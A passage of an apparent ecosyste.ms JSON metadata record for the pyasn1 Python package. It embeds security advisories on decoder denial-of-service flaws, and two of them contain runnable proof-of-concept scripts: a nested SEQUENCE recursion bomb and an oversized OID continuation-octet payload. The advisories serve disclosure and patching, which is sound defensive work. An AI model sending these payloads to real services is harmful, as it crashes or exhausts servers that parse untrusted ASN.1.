ObjectIdentifierEncoder and RelativeOIDEncoder in pyasn1/codec/ber/encoder.py. The CER and DER codecs inherit these and are equally affected.\n\n### Patches\nFixed in pyasn1 0.6.4: arc accumulation in both decoders and encoders now runs in linear time.\n\n### Workarounds\nLimit the size of untrusted ASN.1 input before decoding.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-21T19:11:03.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/pyasn1/pyasn1/security/advisories/GHSA-8ppf-4f7h-5ppj","https://nvd.nist.gov/vuln/detail/CVE-2026-59885","https://github.com/pyasn1/pyasn1/commit/45bdb19eb7df4b3780fe9c912c63e99bffc39dd9","https://github.com/pyasn1/pyasn1/releases/tag/v0.6.4","https://github.com/advisories/GHSA-8ppf-4f7h-5ppj"],"source_kind":"github","identifiers":["GHSA-8ppf-4f7h-5ppj","CVE-2026-59885"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-21T20:00:09.146Z","updated_at":"2026-11-04T06:03:20.180Z","epss_percentage":0.00616,"epss_percentile":0.4954,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04cHBmLTRmN2gtNXBwas4ABfJO","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04cHBmLTRmN2gtNXBwas4ABfJO","packages":[{"ecosystem":"pypi","package_name":"pyasn1","versions":[{"first_patched_version":"0.6.4","vulnerable_version_range":"\u003c= 0.6.3"}],"purl":"pkg:pypi/pyasn1"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04cHBmLTRmN2gtNXBwas4ABfJO/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1tNHA3LXI1cmMtN2c0as4ABfJN","url":"https://github.com/advisories/GHSA-m4p7-r5rc-7g4j","title":"pyasn1 BER/CER/DER decoder denial of service via unbounded long-form tag IDs","description":"### Impact\nThe BER decoder (shared by the CER and DER codecs) parses long-form tags by accumulating continuation octets in a loop with no upper bound on the size of the tag ID. A crafted input can force the decoder to build an arbitrarily large integer, with CPU cost growing quadratically in input size — a ~1 MB input consumes over a minute of CPU. On Python 3.11+, the oversized tag ID can also trigger an unhandled `ValueError` (integer string conversion limit) while the decoder formats error messages, violating the documented `PyAsn1Error` contract and potentially bypassing caller error handling.\n\nAny application decoding untrusted BER/CER/DER input is affected.\n\n### Affected components\n- `pyasn1.codec.ber.decoder` — `decode()` and `StreamingDecoder`\n- `pyasn1.codec.cer.decoder` and `pyasn1.codec.der.decoder`, which inherit\n  the same tag parsing\n- `pyasn1.type.tag` — `Tag`/`TagSet` reprs could raise `ValueError` when\n  rendering oversized tag IDs (reachable through decoder error paths)\n\nThe encoders and the `pyasn1.codec.native` codec are not affected.\n\n### Patches\nFixed in 0.6.4. Long-form tag IDs are now limited to 20 octets (140-bit tag IDs, matching the existing OID arc limit); oversized tags are rejected with `PyAsn1Error`. Tag ID rendering in reprs and error messages was additionally hardened against the interpreter's integer-to-string conversion limit.\n\n### Workarounds\nBound the size of untrusted input passed to `decode()` before calling it.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-21T19:10:11.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/pyasn1/pyasn1/security/advisories/GHSA-m4p7-r5rc-7g4j","https://nvd.nist.gov/vuln/detail/CVE-2026-59884","https://github.com/pyasn1/pyasn1/commit/628e36ecbb5277a3f01572ce418ef54271b165a5","https://github.com/pyasn1/pyasn1/releases/tag/v0.6.4","https://github.com/pypa/advisory-database/tree/main/vulns/pyasn1/PYSEC-2026-3455.yaml","https://github.com/advisories/GHSA-m4p7-r5rc-7g4j"],"source_kind":"github","identifiers":["GHSA-m4p7-r5rc-7g4j","CVE-2026-59884"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-21T20:00:09.146Z","updated_at":"2026-11-04T06:02:59.061Z","epss_percentage":0.00616,"epss_percentile":0.4954,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tNHA3LXI1cmMtN2c0as4ABfJN","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1tNHA3LXI1cmMtN2c0as4ABfJN","packages":[{"ecosystem":"pypi","package_name":"pyasn1","versions":[{"first_patched_version":"0.6.4","vulnerable_version_range":"\u003c 0.6.4"}],"purl":"pkg:pypi/pyasn1"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tNHA3LXI1cmMtN2c0as4ABfJN/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1qcjI3LW00cDItcmM2cs4ABTwL","url":"https://github.com/advisories/GHSA-jr27-m4p2-rc6r","title":"Denial of Service in pyasn1 via Unbounded Recursion","description":"### Summary\nThe `pyasn1` library is vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing nested `SEQUENCE` (`0x30`) or `SET` (`0x31`) tags with Indefinite Length (`0x80`) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a `RecursionError` or consumes all available memory (OOM), crashing the host application.\n\n### Details\nThe vulnerability exists because the decoder iterates through the input stream and recursively calls `decodeFun` (the decoding callback) for every nested component found, without tracking or limiting the recursion depth.\nVulnerable Code Locations:\n1. `indefLenValueDecoder` (Line 998):\n```for component in decodeFun(substrate, asn1Spec, allowEoo=True, **options):```\nThis method handles indefinite-length constructed types. It sits inside a `while True` loop and recursively calls the decoder for every nested tag.\n\n2. `valueDecoder` (Lines 786 and 907):\n```for component in decodeFun(substrate, componentType, **options):```\nThis method handles standard decoding when a schema is present. It contains two distinct recursive calls that lack depth checks: Line 786: Recursively decodes components of `SEQUENCE` or `SET` types. Line 907: Recursively decodes elements of `SEQUENCE OF` or `SET OF` types.\n\n4. `_decodeComponentsSchemaless` (Line 661):\n```for component in decodeFun(substrate, **options):```\nThis method handles decoding when no schema is provided.\n\nIn all three cases, `decodeFun` is invoked without passing a `depth` parameter or checking against a global `MAX_ASN1_NESTING` limit.\n\n### PoC\n```\nimport sys\nfrom pyasn1.codec.ber import decoder\n\nsys.setrecursionlimit(100000)\n\nprint(\"[*] Generating Recursion Bomb Payload...\")\ndepth = 50_000\nchunk = b'\\x30\\x80' \npayload = chunk * depth\n\nprint(f\"[*] Payload size: {len(payload) / 1024:.2f} KB\")\nprint(\"[*] Triggering Decoder...\")\n\ntry:\n    decoder.decode(payload)\nexcept RecursionError:\n    print(\"[!] Crashed: Recursion Limit Hit\")\nexcept MemoryError:\n    print(\"[!] Crashed: Out of Memory\")\nexcept Exception as e:\n    print(f\"[!] Crashed: {e}\")\n```\n\n```\n[*] Payload size: 9.77 KB\n[*] Triggering Decoder...\n[!] Crashed: Recursion Limit Hit\n```\n\n### Impact\n- This is an unhandled runtime exception that typically terminates the worker process or thread handling the request. This allows a remote attacker to trivially kill service workers with a small payload (\u003c100KB), resulting in a Denial of Service. Furthermore, in environments where recursion limits are increased, this leads to server-wide memory exhaustion.\n- Service Crash: Any service using `pyasn1` to parse untrusted ASN.1 data (e.g., LDAP, SNMP, Kerberos, X.509 parsers) can be crashed remotely.\n- Resource Exhaustion: The attack consumes RAM linearly with the nesting depth. A small payload (\u003c200KB) can consume hundreds of megabytes of RAM or exhaust the stack.\n\n### Credits\nVulnerability discovered by Kevin Tu of TMIR at ByteDance.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-03-17T16:17:33.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/pyasn1/pyasn1/security/advisories/GHSA-jr27-m4p2-rc6r","https://github.com/pyasn1/pyasn1/commit/5a49bd1fe93b5b866a1210f6bf0a3924f21572c8","https://github.com/pyasn1/pyasn1/releases/tag/v0.6.3","https://nvd.nist.gov/vuln/detail/CVE-2026-30922","https://github.com/pyasn1/pyasn1/commit/25ad481c19fdb006e20485ef3fc2e5b3eff30ef0","http://www.openwall.com/lists/oss-security/2026/03/20/4","https://lists.debian.org/debian-lts-announce/2026/05/msg00001.html","https://access.redhat.com/errata/RHSA-2026:22969","https://access.redhat.com/errata/RHSA-2026:22970","https://access.redhat.com/errata/RHSA-2026:22987","https://access.redhat.com/errata/RHSA-2026:24761","https://access.redhat.com/errata/RHSA-2026:24762","https://access.redhat.com/errata/RHSA-2026:37275","https://access.redhat.com/errata/RHSA-2026:41928","https://access.redhat.com/errata/RHSA-2026:6309","https://access.redhat.com/errata/RHSA-2026:6568","https://access.redhat.com/errata/RHSA-2026:6720","https://access.redhat.com/errata/RHSA-2026:6912","https://access.redhat.com/errata/RHSA-2026:6926","https://access.redhat.com/errata/RHSA-2026:8437","https://access.redhat.com/security/cve/CVE-2026-30922","https://bugzilla.redhat.com/show_bug.cgi?id=2448553","https://github.com/pypa/advisory-database/tree/main/vulns/pyasn1/PYSEC-2026-2263.yaml","https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-30922.json","https://access.redhat.com/errata/RHSA-2026:10184","https://access.redhat.com/errata/RHSA-2026:12176","https://access.redhat.com/errata/RHSA-2026:13508","https://access.redhat.com/errata/RHSA-2026:13512","https://access.redhat.com/errata/RHSA-2026:13545","https://access.redhat.com/errata/RHSA-2026:13553","https://access.redhat.com/errata/RHSA-2026:13902","https://access.redhat.com/errata/RHSA-2026:13916","https://access.redhat.com/errata/RHSA-2026:13917","https://access.redhat.com/errata/RHSA-2026:14020","https://access.redhat.com/errata/RHSA-2026:16009","https://access.redhat.com/errata/RHSA-2026:17083","https://access.redhat.com/errata/RHSA-2026:17611","https://access.redhat.com/errata/RHSA-2026:19138","https://access.redhat.com/errata/RHSA-2026:19355","https://access.redhat.com/errata/RHSA-2026:19375","https://access.redhat.com/errata/RHSA-2026:19712","https://access.redhat.com/errata/RHSA-2026:20588","https://access.redhat.com/errata/RHSA-2026:22131","https://access.redhat.com/errata/RHSA-2026:22132","https://access.redhat.com/errata/RHSA-2026:22133","https://access.redhat.com/errata/RHSA-2026:22134","https://access.redhat.com/errata/RHSA-2026:22135","https://access.redhat.com/errata/RHSA-2026:65126","https://github.com/advisories/GHSA-jr27-m4p2-rc6r"],"source_kind":"github","identifiers":["GHSA-jr27-m4p2-rc6r","CVE-2026-30922"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-17T17:00:10.717Z","updated_at":"2026-11-14T06:05:39.938Z","epss_percentage":0.00893,"epss_percentile":0.59983,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qcjI3LW00cDItcmM2cs4ABTwL","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1qcjI3LW00cDItcmM2cs4ABTwL","packages":[{"ecosystem":"pypi","package_name":"pyasn1","versions":[{"first_patched_version":"0.6.3","vulnerable_version_range":"\u003c= 0.6.2"}],"purl":"pkg:pypi/pyasn1"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qcjI3LW00cDItcmM2cs4ABTwL/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02M3ZtLTQ1NGgtdmhocc4ABRMi","url":"https://github.com/advisories/GHSA-63vm-454h-vhhq","title":"pyasn1 has a DoS vulnerability in decoder","description":"### Summary\n\nAfter reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.\n\n### Details\n\nThe integer issue can be found in the decoder as `reloid += ((subId \u003c\u003c 7) + nextSubId,)`: https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496\n\n### PoC\n\nFor the DoS:\n```py\nimport pyasn1.codec.ber.decoder as decoder\nimport pyasn1.type.univ as univ\nimport sys\nimport resource\n\n# Deliberately set memory limit to display PoC\ntry:\n    resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))\n    print(\"[*] Memory limit set to 100MB\")\nexcept:\n    print(\"[-] Could not set memory limit\")\n\n# Test with different payload sizes to find the DoS threshold\npayload_size_mb = int(sys.argv[1])\n\nprint(f\"[*] Testing with {payload_size_mb}MB payload...\")\n\npayload_size = payload_size_mb * 1024 * 1024\n# Create payload with continuation octets\n# Each 0x81 byte indicates continuation, causing bit shifting in decoder\npayload = b'\\x81' * payload_size + b'\\x00'\nlength = len(payload)\n\n# DER length encoding (supports up to 4GB)\nif length \u003c 128:\n    length_bytes = bytes([length])\nelif length \u003c 256:\n    length_bytes = b'\\x81' + length.to_bytes(1, 'big')\nelif length \u003c 256**2:\n    length_bytes = b'\\x82' + length.to_bytes(2, 'big')\nelif length \u003c 256**3:\n    length_bytes = b'\\x83' + length.to_bytes(3, 'big')\nelse:\n    # 4 bytes can handle up to 4GB\n    length_bytes = b'\\x84' + length.to_bytes(4, 'big')\n\n# Use OID (0x06) for more aggressive parsing\nmalicious_packet = b'\\x06' + length_bytes + payload\n\nprint(f\"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB\")\n\ntry:\n    print(\"[*] Decoding (this may take time or exhaust memory)...\")\n    result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier())\n\n    print(f'[+] Decoded successfully')\n    print(f'[!] Object size: {sys.getsizeof(result[0])} bytes')\n\n    # Try to convert to string\n    print('[*] Converting to string...')\n    try:\n        str_result = str(result[0])\n        print(f'[+] String succeeded: {len(str_result)} chars')\n        if len(str_result) \u003e 10000:\n            print(f'[!] MEMORY EXPLOSION: {len(str_result)} character string!')\n    except MemoryError:\n        print(f'[-] MemoryError during string conversion!')\n    except Exception as e:\n        print(f'[-] {type(e).__name__} during string conversion')\n\nexcept MemoryError:\n    print('[-] MemoryError: Out of memory!')\nexcept Exception as e:\n    print(f'[-] Error: {type(e).__name__}: {e}')\n\n\nprint(\"\\n[*] Test completed\")\n```\n\n\nScreenshots with the results:\n\n#### DoS\n\u003cimg width=\"944\" height=\"207\" alt=\"Screenshot_20251219_160840\" src=\"https://github.com/user-attachments/assets/68b9566b-5ee1-47b0-a269-605b037dfc4f\" /\u003e\n\n\u003cimg width=\"931\" height=\"231\" alt=\"Screenshot_20251219_152815\" src=\"https://github.com/user-attachments/assets/62eacf4f-eb31-4fba-b7a8-e8151484a9fa\" /\u003e\n\n#### Leak analysis\n\nA potential heap leak was investigated but came back clean:\n```\n[*] Creating 1000KB payload...\n[*] Decoding with pyasn1...\n[*] Materializing to string...\n[+] Decoded 2157784 characters\n[+] Binary representation: 896001 bytes\n[+] Dumped to heap_dump.bin\n\n[*] First 64 bytes (hex):\n  01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081\n\n[*] First 64 bytes (ASCII/hex dump):\n  0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02  ..... @..... @..\n  0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08  ... @..... @....\n  0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20  . @..... @..... \n  0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81  @..... @..... @.\n\n[*] Digit distribution analysis:\n  '0':  10.1%\n  '1':   9.9%\n  '2':  10.0%\n  '3':   9.9%\n  '4':   9.9%\n  '5':  10.0%\n  '6':  10.0%\n  '7':  10.0%\n  '8':   9.9%\n  '9':  10.1%\n```\n\n### Scenario\n\n1. An attacker creates a malicious X.509 certificate.\n2. The application validates certificates.\n3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above.\n\n### Impact\n\nThis issue can affect resource consumption and hang systems or stop services.\nThis may affect:\n- LDAP servers\n- TLS/SSL endpoints\n- OCSP responders\n- etc.\n\n### Recommendation\n\nAdd a limit to the allowed bytes in the decoder.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-01-16T19:19:25.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/pyasn1/pyasn1/security/advisories/GHSA-63vm-454h-vhhq","https://github.com/pyasn1/pyasn1/commit/be353d755f42ea36539b4f5053c652ddf56979a6","https://github.com/pyasn1/pyasn1/blob/0f07d7242a78ab4d129b26256d7474f7168cf536/pyasn1/codec/ber/decoder.py#L496","https://github.com/pyasn1/pyasn1/releases/tag/v0.6.2","https://nvd.nist.gov/vuln/detail/CVE-2026-23490","https://github.com/pyasn1/pyasn1/commit/3908f144229eed4df24bd569d16e5991ace44970","https://lists.debian.org/debian-lts-announce/2026/02/msg00002.html","https://access.redhat.com/errata/RHSA-2026:4148","https://access.redhat.com/errata/RHSA-2026:4147","https://access.redhat.com/errata/RHSA-2026:4146","https://access.redhat.com/errata/RHSA-2026:4145","https://access.redhat.com/errata/RHSA-2026:4144","https://access.redhat.com/errata/RHSA-2026:4143","https://access.redhat.com/errata/RHSA-2026:4142","https://access.redhat.com/errata/RHSA-2026:4141","https://access.redhat.com/errata/RHSA-2026:4140","https://access.redhat.com/errata/RHSA-2026:4139","https://access.redhat.com/errata/RHSA-2026:4138","https://access.redhat.com/errata/RHSA-2026:39894","https://access.redhat.com/errata/RHSA-2026:3959","https://access.redhat.com/errata/RHSA-2026:3958","https://access.redhat.com/errata/RHSA-2026:37275","https://access.redhat.com/errata/RHSA-2026:41928","https://access.redhat.com/errata/RHSA-2026:42644","https://access.redhat.com/errata/RHSA-2026:4943","https://access.redhat.com/errata/RHSA-2026:5606","https://access.redhat.com/security/cve/CVE-2026-23490","https://bugzilla.redhat.com/show_bug.cgi?id=2430472","https://github.com/advisories/GHSA-63vm-454h-vhhq","https://github.com/pyasn1/pyasn1","https://github.com/pypa/advisory-database/tree/main/vulns/pyasn1/PYSEC-2026-1810.yaml","https://pypi.org/project/pyasn1","https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-23490.json","https://access.redhat.com/errata/RHSA-2026:3359","https://access.redhat.com/errata/RHSA-2026:2300","https://access.redhat.com/errata/RHSA-2026:2299","https://access.redhat.com/errata/RHSA-2026:2221","https://access.redhat.com/errata/RHSA-2026:19712","https://access.redhat.com/errata/RHSA-2026:1906","https://access.redhat.com/errata/RHSA-2026:1905","https://access.redhat.com/errata/RHSA-2026:1904","https://access.redhat.com/errata/RHSA-2026:1903","https://access.redhat.com/errata/RHSA-2026:17611","https://access.redhat.com/errata/RHSA-2026:17595","https://access.redhat.com/errata/RHSA-2026:17446","https://access.redhat.com/errata/RHSA-2026:14020","https://access.redhat.com/errata/RHSA-2026:13553","https://access.redhat.com/errata/RHSA-2026:13545","https://access.redhat.com/errata/RHSA-2026:13512","https://access.redhat.com/errata/RHSA-2026:13508","https://access.redhat.com/errata/RHSA-2026:3354","https://access.redhat.com/errata/RHSA-2026:30088","https://access.redhat.com/errata/RHSA-2026:28042","https://access.redhat.com/errata/RHSA-2026:2758","https://access.redhat.com/errata/RHSA-2026:2712","https://access.redhat.com/errata/RHSA-2026:24977","https://access.redhat.com/errata/RHSA-2026:24866","https://access.redhat.com/errata/RHSA-2026:2486","https://access.redhat.com/errata/RHSA-2026:2483","https://access.redhat.com/errata/RHSA-2026:2460","https://access.redhat.com/errata/RHSA-2026:2453","https://access.redhat.com/errata/RHSA-2026:24483","https://access.redhat.com/errata/RHSA-2026:24476","https://access.redhat.com/errata/RHSA-2026:2309","https://access.redhat.com/errata/RHSA-2026:2303","https://access.redhat.com/errata/RHSA-2026:2302","https://access.redhat.com/errata/RHSA-2026:54757"],"source_kind":"github","identifiers":["GHSA-63vm-454h-vhhq","CVE-2026-23490"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-01-16T20:00:07.759Z","updated_at":"2026-11-11T06:07:58.924Z","epss_percentage":0.0076,"epss_percentile":0.55515,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02M3ZtLTQ1NGgtdmhocc4ABRMi","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02M3ZtLTQ1NGgtdmhocc4ABRMi","packages":[{"ecosystem":"pypi","package_name":"pyasn1","versions":[{"first_patched_version":"0.6.2","vulnerable_version_range":"= 0.6.1"}],"purl":"pkg:pypi/pyasn1"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02M3ZtLTQ1NGgtdmhocc4ABRMi/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/pypi/pyasn1","docker_dependents_count":10274,"docker_downloads_count":5762168119,"usage_url":"https://repos.ecosyste.ms/usage/pypi/pyasn1","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/pypi/pyasn1/dependencies","status":null,"funding_links":["http://snmplabs.com/sponsorship.html"],"critical":true,"issue_metadata":{"last_synced_at":"2026-11-17T02:25:37.417Z","issues_count":59,"pull_requests_count":68,"avg_time_to_close_issue":9508472.26923077,"avg_time_to_close_pull_request":4024880.4814814813,"issues_closed_count":26,"pull_requests_closed_count":54,"pull_request_authors_count":27,"issue_authors_count":52,"avg_comments_per_issue":1.423728813559322,"avg_comments_per_pull_request":0.47058823529411764,"merged_pull_requests_count":49,"bot_issues_count":0,"bot_pull_requests_count":0,"past_year_issues_count":12,"past_year_pull_requests_count":24,"past_year_avg_time_to_close_issue":411038.6666666667,"past_year_avg_time_to_close_pull_request":1321125.6923076923,"past_year_issues_closed_count":3,"past_year_pull_requests_closed_count":13,"past_year_pull_request_authors_count":12,"past_year_issue_authors_count":10,"past_year_avg_comments_per_issue":0.6666666666666666,"past_year_avg_comments_per_pull_request":0.16666666666666666,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":10,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/issues","maintainers":[{"login":"droideck","count":3,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/droideck"}],"active_maintainers":[{"login":"droideck","count":3,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/droideck"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/pyasn1/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/pyasn1/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/pyasn1/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/pyasn1/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/pyasn1/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/pyasn1/codemeta","maintainers":[{"uuid":"etingof","login":"etingof","name":null,"email":null,"url":null,"packages_count":16,"html_url":"https://pypi.org/user/etingof/","role":null,"created_at":"2022-12-23T02:26:01.506061Z","updated_at":"2022-12-23T02:26:01.506061Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/maintainers/etingof/packages"},{"uuid":"ilya","login":"ilya","name":null,"email":null,"url":null,"packages_count":18,"html_url":"https://pypi.org/user/ilya/","role":null,"created_at":"2022-12-23T02:26:01.512711Z","updated_at":"2022-12-23T02:26:01.512711Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/maintainers/ilya/packages"},{"uuid":"tiran","login":"tiran","name":null,"email":null,"url":null,"packages_count":50,"html_url":"https://pypi.org/user/tiran/","role":null,"created_at":"2022-12-23T02:26:01.515599Z","updated_at":"2022-12-23T02:26:01.515599Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/maintainers/tiran/packages"},{"uuid":"droideck","login":"droideck","name":null,"email":null,"url":null,"packages_count":5,"html_url":"https://pypi.org/user/droideck/","role":null,"created_at":"2022-12-23T02:26:01.500461Z","updated_at":"2022-12-23T02:26:01.500461Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/maintainers/droideck/packages"}]}